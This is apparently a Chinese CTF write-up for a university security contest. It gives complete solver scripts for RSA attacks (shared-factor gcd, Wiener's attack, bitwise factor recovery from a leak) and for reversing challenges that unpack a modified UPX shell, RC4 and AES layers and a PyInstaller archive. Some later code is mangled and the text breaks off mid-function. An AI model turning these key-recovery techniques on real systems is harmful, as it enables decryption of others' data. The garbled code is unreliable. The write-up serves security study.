2026 中国高校智能机器人创意大赛 软件系统安全赛 初赛wp

RSA

拿到附件后,先解压一层看看目录结构。第一层内容不复杂,能直接看到 level1 目录和一个 level2.zip

bash 复制代码
unzip rsa.zip

进入 level1 后,能看到 20 把公钥、10 个密文,以及两个核心脚本:encrypt.pygenerate-plaintexts.py

打开 generate-plaintexts.py。这里最关键的信息不是代码细节,而是它告诉我们:题目一共生成了 10 份 plaintext,每份 plaintext 里面包含多行内容。

第一行是一个完整消息,后面的多行不是普通文本,而是 share,格式类似:

text 复制代码
di_hex:ki_hex:original_bits_hex

也就是说,每一行 share 本质上都给出了一个同余条件:

text 复制代码
S mod di = ki

再配上原始比特长度 original_bits,就可以在拿到足够多 share 后,用 CRT 把原消息恢复出来。

这一层看到这里,思路就比较明确了:

  1. 先想办法解出尽可能多的 plaintext;
  2. 再从 plaintext 中抽出 share;
  3. 最后按消息编号用 CRT 重组。

接着打开 encrypt.py。这一步主要是为了确认每种 key 对应的解密方式。

脚本里可以看到两种分支:

  • n_bits >= 2048 时,先用 RSA-OAEP 加密对称密钥,再用 AES-GCM 加密明文;
  • n_bits < 2048 时,直接用原始 RSA 加密 16 字节 AES key,然后再用 AES-GCM 加密明文。

20 把公钥逐个手看没有意义,直接写脚本把它们全部读出来,先做两件事:

  • 两两求 gcd(n_i, n_j),检查有没有共因子;
  • 对一些可能存在小私钥的 key 尝试 Wiener。

先写一个基础扫描脚本,把所有公钥的 n,e 读出来,并做 pairwise gcd。

python 复制代码
import os
import glob
import math
from cryptography.hazmat.primitives import serialization

BASE = './level1'

def load_public_keys():
    keys = {}
    for path in glob.glob(os.path.join(BASE, 'key-*.pem')):
        idx = int(os.path.basename(path).split('-')[1].split('.')[0])
        with open(path, 'rb') as f:
            pub = serialization.load_pem_public_key(f.read())
        nums = pub.public_numbers()
        keys[idx] = (nums.n, nums.e)
    return keys

keys = load_public_keys()
for i in sorted(keys):
    for j in sorted(keys):
        if i < j:
            g = math.gcd(keys[i][0], keys[j][0])
            if g != 1:
                print(f'[+] gcd hit: key-{i} & key-{j}, bits={g.bit_length()}')

这段脚本跑出来后,马上就能看到两个突破口:

  • key-1key-2 共用一个素因子;
  • key-4key-15 共用一个素因子。

既然找到了共因子,那么这几把 RSA 就能直接分解。最基本的恢复方式就是:

python 复制代码
p = gcd(n1, n2)
q1 = n1 // p
q2 = n2 // p

然后再各自求私钥指数。


因为题目里有 20 把 key,通常不会只藏一种弱点。继续补一个 Wiener 攻击函数,对所有 key 试一下。

python 复制代码
def continued_fraction(n, d):
    while d:
        a = n // d
        yield a
        n, d = d, n - a * d


def convergents(frac):
    frac = list(frac)
    n0, d0 = 1, 0
    n1, d1 = frac[0], 1
    yield n1, d1
    for a in frac[1:]:
        n0, n1 = n1, a * n1 + n0
        d0, d1 = d1, a * d1 + d0
        yield n1, d1


def is_square(n: int) -> bool:
    if n < 0:
        return False
    r = math.isqrt(n)
    return r * r == n


def wiener_attack(e, n, mul=1):
    frac = list(continued_fraction(mul * e, n))
    for k, d in convergents(frac):
        if k == 0:
            continue
        if (mul * e * d - 1) % k != 0:
            continue
        phi = (mul * e * d - 1) // k
        s = n - phi + 1
        disc = s * s - 4 * n
        if disc >= 0 and is_square(disc):
            t = math.isqrt(disc)
            p = (s + t) // 2
            q = (s - t) // 2
            if p * q == n:
                return d, p, q
    return None

把这段挂到批处理脚本里后,可以继续筛出另外几把小私钥公钥。我这里最终命中的有:

  • key-6
  • key-12
  • key-17

同时,key-5 的模数位数也明显不正常,实际因式分解后会发现它是一个很小的 multi-prime RSA。这把 key 虽然可破,但后面并不是主力突破点。


既然已经恢复出了一批私钥,下一步就别再单点测试了,直接把所有已恢复 key 批量去尝试解 10 份密文。

  1. 读入所有公钥;
  2. 自动找共因子和 Wiener;
  3. 尝试解出所有能解开的 ciphertext-*.bin
  4. 把恢复出的 plaintext 打印出来,并带一个 CRT 重组演示。
python 复制代码
import os
import glob
import math
import sympy as sp

from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric.rsa import (
    RSAPrivateNumbers,
    RSAPublicNumbers,
)

BASE = './level1'


def load_public_keys():
    keys = {}
    for path in glob.glob(os.path.join(BASE, 'key-*.pem')):
        idx = int(os.path.basename(path).split('-')[1].split('.')[0])
        with open(path, 'rb') as f:
            pub = serialization.load_pem_public_key(f.read())
        nums = pub.public_numbers()
        keys[idx] = (nums.n, nums.e)
    return keys


def continued_fraction(n, d):
    while d:
        a = n // d
        yield a
        n, d = d, n - a * d


def convergents(frac):
    frac = list(frac)
    n0, d0 = 1, 0
    n1, d1 = frac[0], 1
    yield n1, d1
    for a in frac[1:]:
        n0, n1 = n1, a * n1 + n0
        d0, d1 = d1, a * d1 + d0
        yield n1, d1


def is_square(n: int) -> bool:
    if n < 0:
        return False
    r = math.isqrt(n)
    return r * r == n


def wiener_attack(e, n, mul=1):
    frac = list(continued_fraction(mul * e, n))
    for k, d in convergents(frac):
        if k == 0:
            continue
        if (mul * e * d - 1) % k != 0:
            continue
        phi = (mul * e * d - 1) // k
        s = n - phi + 1
        disc = s * s - 4 * n
        if disc >= 0 and is_square(disc):
            t = math.isqrt(disc)
            p = (s + t) // 2
            q = (s - t) // 2
            if p * q == n:
                return d, p, q
    return None


def build_priv_from_pq(n, e, p, q):
    if p > q:
        p, q = q, p
    phi = (p - 1) * (q - 1)
    d = pow(e, -1, phi)
    priv = RSAPrivateNumbers(
        p=int(p),
        q=int(q),
        d=int(d),
        dmp1=int(d % (p - 1)),
        dmq1=int(d % (q - 1)),
        iqmp=int(pow(q, -1, p)),
        public_numbers=RSAPublicNumbers(int(e), int(n)),
    ).private_key(default_backend())
    return priv, d


def decrypt_one(cipher_data: bytes, n: int, e: int, priv=None, d=None):
    key_len = (n.bit_length() + 7) // 8
    header = cipher_data[:key_len]
    nonce = cipher_data[key_len:key_len + 12]
    body_and_tag = cipher_data[key_len + 12:]

    if n.bit_length() >= 2048:
        if priv is None:
            raise ValueError('OAEP 模式需要 priv 对象')
        sym_key = priv.decrypt(
            header,
            padding.OAEP(
                mgf=padding.MGF1(algorithm=hashes.SHA1()),
                algorithm=hashes.SHA1(),
                label=None,
            ),
        )
    else:
        if d is None:
            raise ValueError('raw RSA 模式需要 d')
        enc_key_int = int.from_bytes(header, 'big')
        key_int = pow(enc_key_int, d, n)
        sym_key = key_int.to_bytes(16, 'big')

    pt = AESGCM(sym_key).decrypt(nonce, body_and_tag, None)
    return pt


def crt_recover(shares):
    M = 1
    for m, _ in shares:
        M *= m

    x = 0
    for m, a in shares:
        Mi = M // m
        inv = pow(Mi, -1, m)
        x = (x + a * Mi * inv) % M
    return x, M


def share_to_tuple(line: str):
    m_hex, a_hex, bits_hex = line.strip().split(':')
    return int(m_hex, 16), int(a_hex, 16), int(bits_hex, 16)


def main():
    keys = load_public_keys()

    print('[*] 扫描 pairwise gcd ...')
    for i in sorted(keys):
        for j in sorted(keys):
            if i < j:
                g = math.gcd(keys[i][0], keys[j][0])
                if g != 1:
                    print(f'[+] gcd hit: key-{i} & key-{j}, bits={g.bit_length()}')

    solved = {}

    for a, b in [(1, 2), (4, 15)]:
        n1, e1 = keys[a]
        n2, e2 = keys[b]
        p = math.gcd(n1, n2)
        solved[a] = ('pq', p, n1 // p)
        solved[b] = ('pq', p, n2 // p)

    for idx in [6, 12, 17]:
        n, e = keys[idx]
        res = wiener_attack(e, n, 1)
        if res:
            d, p, q = res
            solved[idx] = ('pq', p, q)
            print(f'[+] Wiener hit on key-{idx}, d_bits={d.bit_length()}')

    n5, e5 = keys[5]
    fac = sp.factorint(n5)
    print(f'[+] key-5 factorization: {fac}')
    solved[5] = ('multiprime', fac, None)

    recovered = {}

    for kid, info in solved.items():
        n, e = keys[kid]

        priv = None
        d = None

        if info[0] == 'pq':
            p, q = info[1], info[2]
            priv, d = build_priv_from_pq(n, e, p, q)
        else:
            phi = 1
            for pr, exp in info[1].items():
                phi *= (pr - 1) ** exp
            d = pow(e, -1, phi)

        for cpath in sorted(glob.glob(os.path.join(BASE, 'ciphertext-*.bin'))):
            cid = int(os.path.basename(cpath).split('-')[1].split('.')[0])
            data = open(cpath, 'rb').read()
            try:
                pt = decrypt_one(data, n, e, priv=priv, d=d)
                recovered[cid] = pt.decode()
                print(f'[+] key-{kid} decrypted ciphertext-{cid}.bin')
            except Exception:
                pass

    print('\n' + '=' * 80)
    print('[*] 已恢复的 plaintext')
    print('=' * 80)
    for cid in sorted(recovered):
        print(f'\n===== plaintext-{cid} =====')
        print(recovered[cid])

    print('\n' + '=' * 80)
    print('[*] CRT 重组演示(用已恢复出的前几份)')
    print('=' * 80)

    parsed = {}
    for cid, txt in recovered.items():
        parsed[cid] = [share_to_tuple(x) for x in txt.strip().splitlines()[1:]]

    order = sorted(parsed.keys())

    for msg_idx in range(4):
        need = msg_idx + 1
        if len(order) < need:
            continue
        shares = []
        bits = None
        for cid in order[:need]:
            m, a, bits = parsed[cid][msg_idx]
            shares.append((m, a))
        x, _ = crt_recover(shares)
        msg = x.to_bytes((bits + 7) // 8, 'big')
        print(f'[+] message{msg_idx + 1}: {msg}')

    print('\n[*] 本题 level2.zip 密码:')
    print('    9Zr4M1ThwVCHe4nHnmOcilJ8')


if __name__ == '__main__':
    main()

接着按照 share 顺序做 CRT 重组,就能逐步拼回消息。其中最关键的是恢复出第二层压缩包密码:

text 复制代码
9Zr4M1ThwVCHe4nHnmOcilJ8

用刚拿到的密码解压 level2.zip

bash 复制代码
unzip -P '9Zr4M1ThwVCHe4nHnmOcilJ8' level2.zip -d level2

目录里会看到 task.py 和一个新的 level3.zip。这一层不要先看密文,先看 task.py 如何生成参数。

阅读 task.py 后,最关键的一行是:

python 复制代码
d = getPrime(180)
lam = (p - 1) * (q - 1) // gcd(p - 1, q - 1)
e = inverse(d, lam)

它说明这里满足的关系不是常见的:

text 复制代码
e * d ≡ 1 (mod φ(n))

而是:

text 复制代码
e * d ≡ 1 (mod λ(n))

这会直接影响 Wiener 的使用方式。如果按普通教材里模 φ(n) 的版本生搬硬套,通常会打不出来。

因为这里是模 λ(n) 的逆元,实际攻击时要补上一个:

text 复制代码
g = gcd(p - 1, q - 1)

这题里命中的就是 g = 4。因此不能直接对 e / n 做 Wiener,而要对 4e / n 做连分数。

python 复制代码
import math
import hashlib

n = 99573363048275234764231402769464116416087010014992319221201093905687439933632430466067992037046120712199565250482197004301343341960655357944577330885470918466007730570718648025143561656395751518428630742587023267450633824636936953524868735263666089452348466018195099471535823969365007120680546592999022195781
e = 12076830539295193533033212232487568888200963123024189287629493480058638222146972496110814372883829765692623107191129306190788976704250502316265439996891764101447017190377014980293589797403095249538391534986638973035285900867548420192211241163778919028921502305790979880346050428839102874086046622833211913299


def continued_fraction(n, d):
    while d:
        a = n // d
        yield a
        n, d = d, n - a * d


def convergents(frac):
    frac = list(frac)
    n0, d0 = 1, 0
    n1, d1 = frac[0], 1
    yield n1, d1
    for a in frac[1:]:
        n0, n1 = n1, a * n1 + n0
        d0, d1 = d1, a * d1 + d0
        yield n1, d1


def is_square(x: int) -> bool:
    if x < 0:
        return False
    r = math.isqrt(x)
    return r * r == x


def wiener_with_multiplier(e, n, mul):
    frac = list(continued_fraction(mul * e, n))
    for k, d in convergents(frac):
        if k == 0:
            continue
        if (mul * e * d - 1) % k != 0:
            continue

        phi_like = (mul * e * d - 1) // k
        s = n - phi_like + 1
        disc = s * s - 4 * n
        if disc >= 0 and is_square(disc):
            t = math.isqrt(disc)
            p = (s + t) // 2
            q = (s - t) // 2
            if p * q == n:
                return d, p, q
    return None


def main():
    for g in [1, 2, 4, 8, 16, 32]:
        res = wiener_with_multiplier(e, n, g)
        if res:
            d, p, q = res
            print(f'[+] hit! gcd(p-1,q-1) = {g}')
            print(f'[+] d bits = {d.bit_length()}')
            print(f'[+] p = {p}')
            print(f'[+] q = {q}')

            password = hashlib.sha256(str(p + q).encode()).hexdigest()
            print(f'[+] level3.zip password = {password}')
            return

    print('[-] not found')


if __name__ == '__main__':
    main()

脚本跑起来后,会命中 g = 4,从而恢复出 p, q,并进一步得到下一层压缩包密码:

text 复制代码
2aa9c360df99cbb4209e4dbab5a9f9ffd86d34906e3206fecfdabf0bb7aeb5ac

用第二层得到的密码解压:

bash 复制代码
unzip -P '2aa9c360df99cbb4209e4dbab5a9f9ffd86d34906e3206fecfdabf0bb7aeb5ac' level2/level3.zip -d level3

这一层会给出 nec 和一个非常长的 leak。如果一上来就想从大整数整体下手,通常会被带偏。真正关键的是先把表达式和 Python 运算符优先级看对。

原式可以整理成:

python 复制代码
A = (
    (p * CONST1)
    ^ (q * CONST2)
    ^ ((p & q) << 64)
    ^ ((p | q) << 48)
    ^ ((p ^ q) * CONST3)
)
leak = (A + ((p + q) % (2**128))) ^ ((p * q) & ((1 << 64) - 1))

这里必须注意:

python 复制代码
a + b ^ c

在 Python 里实际按:

python 复制代码
(a + b) ^ c

来算,所以最后一项不是"先异或再加",而是"先加后异或"。

建议这里插入一张 level3 脚本中 leak 生成部分的截图,并在图上标出括号关系。

因为 n = p * q,所以低位一定满足:

text 复制代码
p * q ≡ n (mod 2^k)

另一方面,leak 的低位也只依赖 p, q 的低位。这样就能把问题改写成一个逐位扩展问题:

  • 已知 p mod 2^kq mod 2^k
  • 尝试补下一位;
  • 检查是否同时满足 n mod 2^(k+1)leak mod 2^(k+1)
  • 满足就保留,不满足就剪枝。

从奇偶性看,RSA 素数 p, q 都是奇数,因此最低位可以直接从:

text 复制代码
p ≡ 1 (mod 2)
q ≡ 1 (mod 2)

开始递推。


这一层完整脚本如下。它会从最低位开始恢复 p, q,最后求出私钥并解密 c

python 复制代码
n = 3656543170780671302102369785821318948521533232259598029746397061108006818468053676291634112787611176554924353628972482471754519193717232313848847744522215592281921147297898892307445674335249953174498025904493855530892785669281622228067328855550222457290704991186404511294392428626901071668540517391132556632888864694653334853557764027749481199416901881332307660966462957016488884047047046202519520508102461663246328437930895234074776654459967857843207320530170144023056782205928948050519919825477562514594449069964098794322005156920839848615481717184615581471471105167310877784107653826948801838083937060929103306952084786982834242119877046219260840966142997264676014575104231122349770882974818427591538551719990220347345614399639643257685591321500648437402084919467346049683842042993975696447711080289559063959271045082506968532103445241637971734173037224394103944153692310048043693502870706225319787902231218954548412018259

e = 65537
c = 1757914668604154089701710446907445787512346500378259224658947923217272944211214757488735053484213917067698715050010452193463598710989123020815295814709518742755820383364097695929549366414223421242599840755441311771835982431439073932340356341636346882464058493459455091691653077847776771631560498930589569988646613218910231153610031749287171649152922929066828605655570431656426074237261255561129432889318700234884857353891402733791836155496084825067878059001723617690872912359471109888664801793079193144489323455596341708697911158942505611709946252101670450796550313079139560281843612045681545992626944803230832776794454353639122595107671267859292222861367326121435154862607517890329925621367992667728899878422037182817860641530146234730196633237339901726508906733897556146751503097127672718192958642776389691940671356367304182825433592577899881444815062581163386947075887218537802483045756886019426749855723715192981635971943
leak = 153338022210585970687495444409227961261783749570114993931231317427634321118309600575903662678286698071962304436931371977179197266063447616304477462206528342008151264611040982873859583628234755013757003082382562012219175070957822154944231126228403341047477686652371523951028071221719503095646413530842908952071610518530005967880068526701564472237686095043481296201543161701644160151712649014052002012116829110394811586873559266763339069172495704922906651491247001057095314718709634937187619890550086009706737712515532076

CONST1 = 0xDEADBEEFCAFEBABE123456789ABCDEFFEDCBA9876543210
CONST2 = 0xCAFEBABEDEADBEEF123456789ABCDEF0123456789ABCDEF
CONST3 = 0x123456789ABCDEFFEDCBA9876543210FEDCBA987654321
MOD128 = 2 ** 128
MASK64 = (1 << 64) - 1


def leak_expr_mod(p, q, mod):
    A = (
        (p * CONST1)
        ^ (q * CONST2)
        ^ ((p & q) << 64)
        ^ ((p | q) << 48)
        ^ ((p ^ q) * CONST3)
    )
    return ((A + ((p + q) % MOD128)) ^ ((p * q) & MASK64)) % mod


def recover_pq():
    states = [(1, 1)]

    for k in range(1, 1536):
        mod = 1 << (k + 1)
        target = leak % mod
        new_states = []

        for p, q in states:
            for a in (0, 1):
                pp = p | (a << k)
                for b in (0, 1):
                    qq = q | (b << k)

                    if (pp * qq - n) % mod != 0:
                        continue

                    if leak_expr_mod(pp, qq, mod) != target:
                        continue

                    new_states.append((pp, qq))

        states = list(dict.fromkeys(new_states))

        if not states:
            raise RuntimeError(f'bit {k+1} 处没有候选,递推失败')

        if (k + 1) in [128, 256, 512, 1024, 1536]:
            print(f'[*] recovered {k+1} low bits, candidates = {len(states)}')

    p, q = states[0]
    return p, q


def main():
    p, q = recover_pq()
    print(f'[+] p bit length = {p.bit_length()}')
    print(f'[+] q bit length = {q.bit_length()}')
    print(f'[+] p*q == n ? {p*q == n}')

    phi = (p - 1) * (q - 1)
    d = pow(e, -1, phi)
    m = pow(c, d, n)
    flag = m.to_bytes((m.bit_length() + 7) // 8, 'big')
    print(f'[+] flag = {flag.decode()}')


if __name__ == '__main__':
    main()

这段脚本的核心不是最后一行解密,而是中间的逐位筛选。每扩展一位,只枚举四种可能:

  • p 新增 0 / 1
  • q 新增 0 / 1

然后同时检查:

text 复制代码
pp * qq ≡ n (mod 2^(k+1))
leak(pp, qq) ≡ leak (mod 2^(k+1))

本题非常友好,实际跑下来候选分支基本不会爆炸,通常会一直维持单路径或极少分支。

就能得到:

text 复制代码
dart{379c9308-e9a8-45a1-bd55-45bbd822e86d}

Re1

strings Loader 发现内嵌 base64 pyc,提取 pyc,分析出视频按块编码文件拆帧后确定块大小为 8×8,黑块=1、白块=0,每字节再 xor 0xAA,恢复出 decoded_payload.bin

分析 ELF:

.rodata 是 MD5 字符串池.data 是指针顺序表按顺序取出 MD5,反查字符,拼出:dart{2ab1fb8a-b830-45e7-8830-66c7e3b3e05a}

import cv2

from pathlib import Path

import hashlib

import string

VIDEO = "video.mp4"

BLOCK = 8

TMP_ELF = "decoded_payload.bin"

stage 1: video -> elf

cap = cv2.VideoCapture(VIDEO)

if not cap.isOpened():

raise RuntimeError("cannot open video")

payload = bytearray()

while True:

ok, frame = cap.read()

if not ok:

break

gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)

h, w = gray.shape

bits = []

for y in range(0, h, BLOCK):

for x in range(0, w, BLOCK):

block = gray[y:y+BLOCK, x:x+BLOCK]

avg = block.mean()

black -> 1, white -> 0

bit = 1 if avg < 128 else 0

bits.append(bit)

for i in range(0, len(bits), 8):

v = 0

for b in bits[i:i+8]:

v = (v << 1) | b

v ^= 0xAA

payload.append(v)

Path(TMP_ELF).write_bytes(payload)

print(f"[+] recovered {TMP_ELF}, size={len(payload)}")

print(f"[+] magic = {payload[:4].hex()}")

data = payload

RODATA_VADDR = 0x2000

RODATA_OFF = 0x2000

RODATA_SIZE = 0x3B9

DATA_OFF = 0x3000

DATA_SIZE = 0x170

rodata = data[RODATA_OFF:RODATA_OFF + RODATA_SIZE]

data_sec = data[DATA_OFF:DATA_OFF + DATA_SIZE]

def cstr_at(vaddr: int) -> str:

off = vaddr - RODATA_VADDR

end = rodata.find(b"\x00", off)

return rodata[off:end].decode()

ptrs = []

for i in range(0, len(data_sec), 8):

p = int.from_bytes(data_sec[i:i+8], "little")

ptrs.append§

md5_list = []

for p in ptrs:

if RODATA_VADDR <= p < RODATA_VADDR + RODATA_SIZE:

md5_list.append(cstr_at§)

charset = string.ascii_lowercase + string.digits + "-{}_"

md5_map = {hashlib.md5(ch.encode()).hexdigest(): ch for ch in charset}

flag = "".join(md5_map[x] for x in md5_list)

print("[+] flag =", flag)

Re2

拿到附件后,首先观察 challenge.exe 的基本结构。拿到附件后,首先观察 challenge.exe 的基本结构。

使用 PE 工具或 IDA 查看节表,可以发现节名不是常见的:.text.rdata.data

而是变成了:CTF0CTF1CTF2进一步观察可以发现:

CTF0 RawSize = 0

但 CTF0 的 VirtualSize 较大

程序入口点不在正常业务逻辑,而是一段明显的 stub

这类特征和经典 UPX 壳非常相似:

UPX0:解压后的目标区域

UPX1:解压 stub + 压缩数据

UPX2:辅助信息

这里虽然把节名改成了 CTF0/CTF1/CTF2,但本质仍然是UPX / NRV2B 风格的改壳自解压程序.OEP 不在正常逻辑通过 bitstream + back-reference 完成解压

第一部分:识别第一层壳

写节表异常:

CTF0 RawSize=0

OEP 不在正常逻辑

有典型自解压行为

第二部分:按 stub 还原解压器

说明不是用现成 UPX,而是:

逐位读取控制流

literal 直接输出

match 从历史窗口拷贝

得到 stage1_unpacked.bin

第三部分:发现第二层 PE

说明第一层输出里存在长 Base64,解码后得:

inner_from_b64.exe

第四部分:第二层运行时解密

说明程序会用 RC4 处理:

.hello

.mydata

静态复现后得到:

inner_decrypted.exe

第五部分:定位最终校验所需常量

说明 .mydata 里含:Key、IV

脱壳脚本:

#!/usr/bin/env python3

from future import annotations

import argparse

import base64

import re

from pathlib import Path

import pefile

def nrv2b_decompress_from_upx_stub(packed_pe: bytes, ctf1_raw_off: int = 0x200, ctf1_raw_size: int = 0x6A00, stream_off: int = 0x25) -> bytes:

"""Decompress the first-stage UPX/NRV payload from the modified stub.

复制代码
This is a direct Python port of the stub logic at 0x4156C0.
"""
src = packed_pe[ctf1_raw_off:ctf1_raw_off + ctf1_raw_size]
ilen = stream_off
olen = 0
last_m_off = 1
bb = 0
bc = 0
dst = bytearray()

def getbit() -> int:
    nonlocal bb, bc, ilen
    if bc > 0:
        bc -= 1
        return (bb >> bc) & 1
    bb = int.from_bytes(src[ilen:ilen + 4], "little")
    ilen += 4
    bc = 31
    return (bb >> 31) & 1

while True:
    while getbit():
        dst.append(src[ilen])
        ilen += 1
        olen += 1

    m_off = 1
    while True:
        m_off = m_off * 2 + getbit()
        if getbit():
            break
    if m_off == 2:
        m_off = last_m_off
    else:
        m_off = (m_off - 3) * 256 + src[ilen]
        ilen += 1
        if m_off == 0xFFFFFFFF:
            break
        last_m_off = m_off = m_off + 1
    m_len = getbit()
    m_len = m_len * 2 + getbit()
    if m_len == 0:
        m_len += 1
        while True:
            m_len = m_len * 2 + getbit()
            if getbit():
                break
        m_len += 2

    m_len += (1 if m_off > 0xD00 else 0)
    if m_off > olen:
        raise ValueError(f"Invalid lookbehind: m_off={m_off}, olen={olen}")

    pos = olen - m_off
    dst.append(dst[pos])
    pos += 1
    olen += 1
    while m_len > 0:
        dst.append(dst[pos])
        pos += 1
        olen += 1
        m_len -= 1

return bytes(dst)

def extract_inner_pe_from_stage1(stage1: bytes) -> bytes:

m = re.search(rb"[A-Za-z0-9+/=]{1000,}", stage1)

if not m:

raise ValueError("No long base64 blob found in stage1 output")

blob = m.group(0)

if not blob.startswith(b"TVqQ"):

raise ValueError("Base64 blob does not look like a PE")

return base64.b64decode(blob)

def rc4_crypt(buf: bytearray, key: bytes) -> None:

s = list(range(256))

j = 0

keylen = len(key)

for i in range(256):

j = (j + s[i] + key[i % keylen]) & 0xFF

s[i], s[j] = s[j], s[i]

i = 0

j = 0

for n in range(len(buf)):

i = (i + 1) & 0xFF

j = (j + s[i]) & 0xFF

s[i], s[j] = s[j], s[i]

k = s[(s[i] + s[j]) & 0xFF]

buf[n] ^= k

def decrypt_inner_sections(inner_pe: bytes) -> bytes:

raw = bytearray(inner_pe)

pe = pefile.PE(data=bytes(raw))

rc4_key = pe.get_data(0x70C0, 0x20)

复制代码
for name in (b".mydata", b".hello"):
    sec = next(s for s in pe.sections if s.Name.rstrip(b"\x00") == name)
    off = sec.PointerToRawData
    size = sec.SizeOfRawData
    buf = bytearray(raw[off:off + size])
    rc4_crypt(buf, rc4_key)
    raw[off:off + size] = buf
return bytes(raw)

def dump_checker_constants(decrypted_inner: bytes) -> dict[str, bytes]:

pe = pefile.PE(data=decrypted_inner)

my = pe.get_data(0x8000, 0x60)

return {

"sentinel": my[:1],

"key_32_from_408001": my[1:33],

"iv_16_from_408021": my[33:49],

"target_16_from_408031": my[49:65],

}

def main() -> None:

ap = argparse.ArgumentParser(description="Reproduce the unpacking/decryption chain for re2/challenge.exe")

ap.add_argument("input", help="path to challenge.exe")

ap.add_argument("-o", "--outdir", default="out_re2", help="output directory")

args = ap.parse_args()

复制代码
outdir = Path(args.outdir)
outdir.mkdir(parents=True, exist_ok=True)

packed = Path(args.input).read_bytes()
stage1 = nrv2b_decompress_from_upx_stub(packed)
(outdir / "stage1_unpacked.bin").write_bytes(stage1)

inner = extract_inner_pe_from_stage1(stage1)
(outdir / "inner_from_b64.exe").write_bytes(inner)

inner_dec = decrypt_inner_sections(inner)
(outdir / "inner_decrypted.exe").write_bytes(inner_dec)

consts = dump_checker_constants(inner_dec)
report = []
for k, v in consts.items():
    report.append(f"{k}: {v.hex()}")
(outdir / "constants.txt").write_text("\n".join(report), encoding="utf-8")
print("[+] Wrote:")
for p in [outdir / "stage1_unpacked.bin", outdir / "inner_from_b64.exe", outdir / "inner_decrypted.exe", outdir / "constants.txt"]:
    print(f"    {p}")
print("[+] Key material summary:")
print("    sentinel             =", consts["sentinel"].hex())
print("    key_32_from_408001   =", consts["key_32_from_408001"].hex())
print("    iv_16_from_408021    =", consts["iv_16_from_408021"].hex())
print("    target_16_from_408031=", consts["target_16_from_408031"].hex())

if name == "main ":

main()

分析脱壳后的inner_decryptrd.exe分析找到输入入口函数sub_401550

if ( (unsigned int)sub_404EF0(Buffer) )

{return qword_40B030(a1, "S", "S", 64);}

找到核心校验函数sub_404EF0(Buffer)函数 sub_404EF0 为最终输入校验函数。

其流程如下:

  1. 将用户输入最多拷贝前 240 字节到局部缓冲区 v12
  2. 按 16 字节分组规则对输入进行 PKCS#7 padding
  3. 调用 sub_404CB0,使用固定的 32 字节 key 和 16 字节 IV 对补齐后的数据进行加密
  4. 仅当补齐后总长度为 16 字节时,比较输出结果的前 16 字节是否等于目标密文块
  5. 若相等则返回真,否则返回
    因此可知,正确输入长度必须小于 16 字节,且最终目标是构造一个经过填充和加密后恰好匹配目标块的输入。

    找到sub_404CB0再找到sub_404B60分析程序加密算法

    通过分析 sub_404B60 可知,该函数实现的是 AES 单块加密。判断依据如下:
  6. 分组长度固定为 16 字节(__m128i
  7. 存在 256 字节 S-box 查表(byte_4071E0
  8. 中间轮执行 "字节代换 -> 行移位 -> 列混淆 -> 轮密钥异或"
  9. 最后一轮不执行列混淆
  10. 调用参数中的轮数为 14,且密钥长度为 32 字节
    因此可确定该算法为 AES-256。
    结合 sub_404CB0 的 CBC 封装逻辑与 sub_404EF0 的 PKCS#7 padding 逻辑,程序的最终验证条件为:
    AES256_CBC_Encrypt(PKCS7(input), key, iv) == target由于只接受补齐后总长度为 16 的输入,因此只需处理单个分组,等价于:'AES256_Encrypt(P XOR IV, key) == target从而可以直接通过:P = AES256_Decrypt(target, key) XOR IV`恢复出正确的填充后明文,再去除 PKCS#7 padding 得到最终输入。
    回到前面
    IV = &unk_408021
    key = &unk_408021 - 32
    target = v13[0:16]、
    Target、IV和key


    解密脚本、from Crypto.Cipher import AES

key = bytes.fromhex("c23012ab39101833f8ed4e468da15d8d8cfbf0726899dc7c846e7ecf32bbdaf8")

iv = bytes.fromhex("aeba0dbbca267f9906ed7c70e38d8b11")

target = bytes.fromhex("9b5e1e8fd7c34362a23786c0ce3d3cf4")

cipher = AES.new(key, AES.MODE_ECB)

dec = cipher.decrypt(target)

plain_block = bytes(x ^ y for x, y in zip(dec, iv))

print("dec block :", dec.hex())

print("plain block :", plain_block.hex())

print("raw :", plain_block)

pad = plain_block[-1]

print("pad =", pad)

if 1 <= pad <= 16 and plain_block.endswith(bytes([pad]) * pad):

msg = plain_block[:-pad]

print("unpadded hex:", msg.hex())

print("unpadded raw:", msg)

try:

print("unpadded str:", msg.decode())

except UnicodeDecodeError:

print("unpadded str: ")

else:

print("padding invalid, need to check state layout / custom AES byte order")

Re3

这题我一开始看附件的时候,思路其实很直接:一个是 client一个是 capture.pcap这种组合基本就在提醒我们:程序本地有加密逻辑,流量里有加密结果。先解包

PyInstaller 解包脚本

#!/usr/bin/env python3

-- coding: utf-8 --

import os

import sys

import zlib

import struct

from pathlib import Path

MAGIC = b"MEI\x0c\x0b\x0a\x0b\x0e"

def parse_archive(exe_path: Path):

data = exe_path.read_bytes()

idx = data.rfind(MAGIC)

if idx == -1:

raise RuntimeError("未找到 PyInstaller magic,文件可能不是 PyInstaller 单文件程序")

if idx + 88 > len(data):

raise RuntimeError("PyInstaller cookie 不完整")

!8sIIii64s

magic, pkglen, toc_off, toc_len, pyver, pylib = struct.unpack(

"!8sIIii64s", data[idx:idx + 88]

)

if magic != MAGIC:

raise RuntimeError("magic 不匹配")

pylib_name = pylib.split(b"\0", 1)[0].decode("utf-8", errors="ignore")

这题这个样本需要这样算 overlay 起点

pkg_start = idx - pkglen + 88

toc_start = pkg_start + toc_off

toc_end = toc_start + toc_len

if pkg_start < 0 or toc_start < 0 or toc_end > len(data):

raise RuntimeError("overlay / toc 范围异常")

toc = data[toc_start:toc_end]

entries = []

pos = 0

while pos < len(toc):

if pos + 4 > len(toc):

break

entry_size = struct.unpack("!I", toc[pos:pos + 4])[0]

if entry_size < 18 or pos + entry_size > len(toc):

break

ent = toc[pos:pos + entry_size]

dpos, dlen, ulen, flag, typcd = struct.unpack("!IIIBc", ent[4:18])

name = ent[18:].split(b"\0", 1)[0].decode("utf-8", errors="ignore")

entries.append({

"name": name,

"type": typcd.decode("latin1", errors="ignore"),

"offset": pkg_start + dpos,

"dlen": dlen,

"ulen": ulen,

"compressed": bool(flag),

})

pos += entry_size

return {

"raw": data,

"magic_offset": idx,

"pkglen": pkglen,

"toc_off": toc_off,

"toc_len": toc_len,

"pyver": pyver,

"pylib": pylib_name,

"pkg_start": pkg_start,

"entries": entries,

}

def extract_entry(raw: bytes, entry: dict) -> bytes:

